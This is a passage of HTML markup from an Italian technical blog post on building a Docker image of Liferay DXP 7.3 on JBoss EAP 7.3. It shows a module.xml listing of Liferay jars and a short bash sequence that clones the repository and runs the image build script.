style=&quot;padding-bottom:61.33333333333334%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;245\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20245\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%20123a830%20830%200%20002%20119c-2%200%200-2%202-1%202%200%203%201%203%202%201%203%204%203%204%200%201-2%203-3%203%200l1-1%201-1c0%201%200%202%201%201%203-1%2012-1%2012%201h1c1-2%206-2%205%200l1%202%201-3c0-2%200-2%201-1h4c2%200%203%201%203%202%200%202%200%202%202%201h1l2%201c2%200%202-1%202-2l1-2%201%202%201-1c1-2%203-2%203%201l2%202%202-1c-1-1%200-2%201-3s1-1%201%201v3l1-2c0-3%202-4%202-1%200%202%200%202%201%200l1-2%201%202%201%201a1182%201182%200%2000168%202h162V0H0v123m3-24v94h9l-4-1H4V23h4l4-1H8c-4%200-4%200-4-3s0-3%204-3l4-1H8c-4%200-4%200-4-2%200-3%201-3%204-3l4-1H8C5%209%204%208%204%207%203%206%203%2048%203%2099m12-32c0%2038%200%2044%202%2044l1%2040v39h3l3%201h5c-2%200-2%200-2%202s0%202%202%201c1-2%202-2%202-1%201%201%201%200%201-1v-2h107v-83H79c-54%200-61%200-61%202l-1%201-1-40V29h4l5-1h-5c-3%200-4%200-4-3-1-1-1%2017-1%2042m4%2042l3%201%203%201h-6v78h119v-81H41l1%202-1%202-1-2c0-1-1-2-3-2s-2%200-1%202l-1%202c-1%200-2-1-1-2%200-2%200-2-2-2s-3%201-3%202l-1%202-1-1c1-2%200-3-4-3l-4%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/0aad4a9c7900e5804e08f7134b880561/c85cb/tree-directory-template-jboss-eap-7.3.webp 300w,/static/0aad4a9c7900e5804e08f7134b880561/e88ff/tree-directory-template-jboss-eap-7.3.webp 600w,/static/0aad4a9c7900e5804e08f7134b880561/92f8c/tree-directory-template-jboss-eap-7.3.webp 1200w,/static/0aad4a9c7900e5804e08f7134b880561/144c0/tree-directory-template-jboss-eap-7.3.webp 1268w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/0aad4a9c7900e5804e08f7134b880561/5a46d/tree-directory-template-jboss-eap-7.3.png 300w,/static/0aad4a9c7900e5804e08f7134b880561/0a47e/tree-directory-template-jboss-eap-7.3.png 600w,/static/0aad4a9c7900e5804e08f7134b880561/c1b63/tree-directory-template-jboss-eap-7.3.png 1200w,/static/0aad4a9c7900e5804e08f7134b880561/bc3ae/tree-directory-template-jboss-eap-7.3.png 1268w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 29 - Struttura directory template di configurazione JBoss EAP 7.3&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/0aad4a9c7900e5804e08f7134b880561/c1b63/tree-directory-template-jboss-eap-7.3.png&quot; title=&quot;Figura 29 - Struttura directory template di configurazione JBoss EAP 7.3&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 29 - Struttura directory template di configurazione JBoss EAP 7.3&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Riguardo la configurazione specifica di Liferay, l&amp;#x27;unico cambiamento apportato con
la nuova versione riguarda il file &lt;code&gt;module.xml&lt;/code&gt;, a cui sono state aggiunte due
nuove risorse, &lt;code&gt;com.liferay.petra.sql.dsl.api.jar&lt;/code&gt; e &lt;code&gt;com.liferay.petra.sql.dsl.spi.jar&lt;/code&gt;.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;xml&quot; data-index=&quot;9&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;module&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;com.liferay.portal&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;xmlns&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;urn:jboss:module:1.8&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;resources&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;resource-root&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;com.liferay.petra.concurrent.jar&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;resource-root&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;com.liferay.petra.executor.jar&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;resource-root&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;com.liferay.petra.function.jar&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;resource-root&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;com.liferay.petra.io.jar&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;resource-root&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;com.liferay.petra.lang.jar&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;resource-root&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;com.liferay.petra.memory.jar&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;resource-root&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;com.liferay.petra.nio.jar&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;resource-root&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;com.liferay.petra.process.jar&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;resource-root&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;com.liferay.petra.reflect.jar&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;resource-root&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;com.liferay.petra.sql.dsl.api.jar&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;resource-root&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;com.liferay.petra.sql.dsl.spi.jar&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;resource-root&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;com.liferay.petra.string.jar&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;resource-root&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;com.liferay.registry.api.jar&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;resource-root&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;portal-kernel.jar&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;resource-root&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;portlet.jar&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;resource-root&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;hsql.jar&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;resource-root&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;ojdbc8.jar&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;resources&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;dependencies&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;module&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;javax.api&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;module&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;javax.mail.api&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;module&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;javax.servlet.api&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;module&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;javax.servlet.jsp.api&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;module&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;javax.transaction.api&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;dependencies&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;module&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 1 - Configurazione del file module.xml per Liferay 7.3&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;A questo punto dovremmo avere tutti i bundle richiesti a nostra disposizione,
possiamo quindi procedere con la creazione dell&amp;#x27;immagine. Il risultato atteso
sarà l&amp;#x27;immagine di Liferay DXP 7.3 GA1 installata su JBoss EAP 7.3.&lt;/p&gt;&lt;p&gt;Partendo dal presupposto di avere l&amp;#x27;estensione del progetto &lt;strong&gt;liferay-docker&lt;/strong&gt;
in forma di repository Git (vedi 7. Uno scenario reale), proseguiamo così come indicato
in Console 10 per ottenere la nuova immagine.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;bash&quot; data-index=&quot;10&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Step 1 Clone del repository liferay-docker e creazione di un nuovo branch di build immagine Liferay&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;#  - Sostituire la URL del repository Git con la propria&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ git clone https://github.com/smclab/liferay-docker.git&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ git checkout -b build/liferay-dxp-7.3.10-ga1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Step 2 Preparazione della directory che conterrà i bundle per Liferay DXP 7.3 GA 1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;cd&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; liferay-docker&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ cp -a ~/Downloads/bundles-dxp-73 &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Step 3 Esecuzione del processo di build dell&amp;#x27;immagine&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ ./build_local_image.sh bundles-dxp-73 amusarra/liferay-dxp liferay-dxp-7.3.10-ga1 no-push jboss-eap&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Console 10 - Procedura per la creazione dell&amp;#x27;immagine Liferay DXP 7.3 installata su JBoss EAP 7.3&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Le prime due figure a seguire mostrano durante il processo di creazione dell&amp;#x27;immagine
, l&amp;#x27;applicazione della patch a JBoss EAP 7.3 e l&amp;#x27;installazione del Patching
Tool di Liferay.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/fdabf180b9ad49b40a97ec1e033729f5/a3767/build-image-liferay-7.3-apply-jboss-patch.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:33%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;133\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20133\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2067v66h401V0H0v67m0%200\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/fdabf180b9ad49b40a97ec1e033729f5/c85cb/build-image-liferay-7.3-apply-jboss-patch.webp 300w,/static/fdabf180b9ad49b40a97ec1e033729f5/e88ff/build-image-liferay-7.3-apply-jboss-patch.webp 600w,/static/fdabf180b9ad49b40a97ec1e033729f5/92f8c/build-image-liferay-7.3-apply-jboss-patch.webp 1200w,/static/fdabf180b9ad49b40a97ec1e033729f5/efe91/build-image-liferay-7.3-apply-jboss-patch.webp 1210w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
